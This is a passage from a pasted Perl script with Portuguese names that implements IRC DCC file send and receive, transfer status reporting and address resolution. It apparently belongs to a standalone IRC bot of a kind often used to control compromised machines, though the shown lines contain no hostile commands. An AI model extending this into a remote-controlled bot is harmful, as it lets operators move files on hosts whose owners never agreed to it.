  790.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  791.   my $longip = unpack("N",inet_aton($meuip));
  792.   my @filestat = stat($arquivo);
  793.   my $size_total=$filestat[7];
  794.   if ($size_total == 0) {
  795.      return(0);
  796.   }
  797.   my ($porta, $sendsock);
  798.   do {
  799.     $porta = int rand(64511);
  800.     $porta += 1024;
  801.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  802.   } until $sendsock;
  803.   $DCC{$sendsock}{tipo} = 'send';
  804.   $DCC{$sendsock}{nick} = $nick;
  805.   $DCC{$sendsock}{bytes} = $size_total;
  806.   $DCC{$sendsock}{arquivo} = $arquivo;
  807.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  808. }
  809. sub GET {
  810.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  811.   return(0) if (-e "$arquivo");
  812.   if (open(FILE, "> $arquivo")) {
  813.      close FILE;
  814.   } else {
  815.     return(0);
  816.   }
  817.   my $dccip=fixaddr($dcclongip);
  818.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  819.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  820.   $dccsock->autoflush(1);
  821.   $dcc_sel->add($dccsock);
  822.   $DCC{$dccsock}{tipo} = 'get';
  823.   $DCC{$dccsock}{itime} = time;
  824.   $DCC{$dccsock}{nick} = $nick;
  825.   $DCC{$dccsock}{bytes} = $bytes;
  826.   $DCC{$dccsock}{curbyte} = 0;
  827.   $DCC{$dccsock}{arquivo} = $arquivo;
  828.   $DCC{$dccsock}{ip} = $dccip;
  829.   $DCC{$dccsock}{porta} = $dccporta;
  830.   $DCC{$dccsock}{status} = "Recebendo";
  831. }
  832. sub Status {
  833.   my $socket = shift;
  834.   my $sock_tipo = $DCC{$socket}{tipo};
  835.   unless (lc($sock_tipo) eq "chat") {
  836.     my $nick = $DCC{$socket}{nick};
  837.     my $arquivo = $DCC{$socket}{arquivo};
  838.     my $itime = $DCC{$socket}{itime};
  839.     my $ftime = time;
  840.     my $status = $DCC{$socket}{status};
  841.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  842.  
  843.     my $d_time = $ftime-$itime;
  844.  
  845.     my $cur_byte = $DCC{$socket}{curbyte};
  846.     my $bytes_total =  $DCC{$socket}{bytes};
  847.  
  848.     my $rate = 0;
  849.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  850.     my $porcen = ($cur_byte*100)/$bytes_total;
  851.  
  852.     my ($r_duv, $p_duv);
  853.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  854.        $r_duv = $3; $r_duv++ if $4 >= 5;
  855.        $rate = "$1\.$2"."$r_duv";
  856.     }
  857.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  858.        $p_duv = $3; $p_duv++ if $4 >= 5;
  859.        $porcen = "$1\.$2"."$p_duv";
  860.     }
  861.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  862.   }
  863.   return(0);
  864. }
  865.  
  866. sub fixaddr {
  867.     my ($address) = @_;
  868.  
  869.     chomp $address;
  870.     if ($address =~ /^\d+$/) {
  871.         return inet_ntoa(pack "N", $address);
  872.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  873.         return $address;
  874.     } elsif ($address =~ tr/a-zA-Z//) {
  875.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  876.     } else {
  877.         return;
  878.     }
  879. }
RAW Paste Data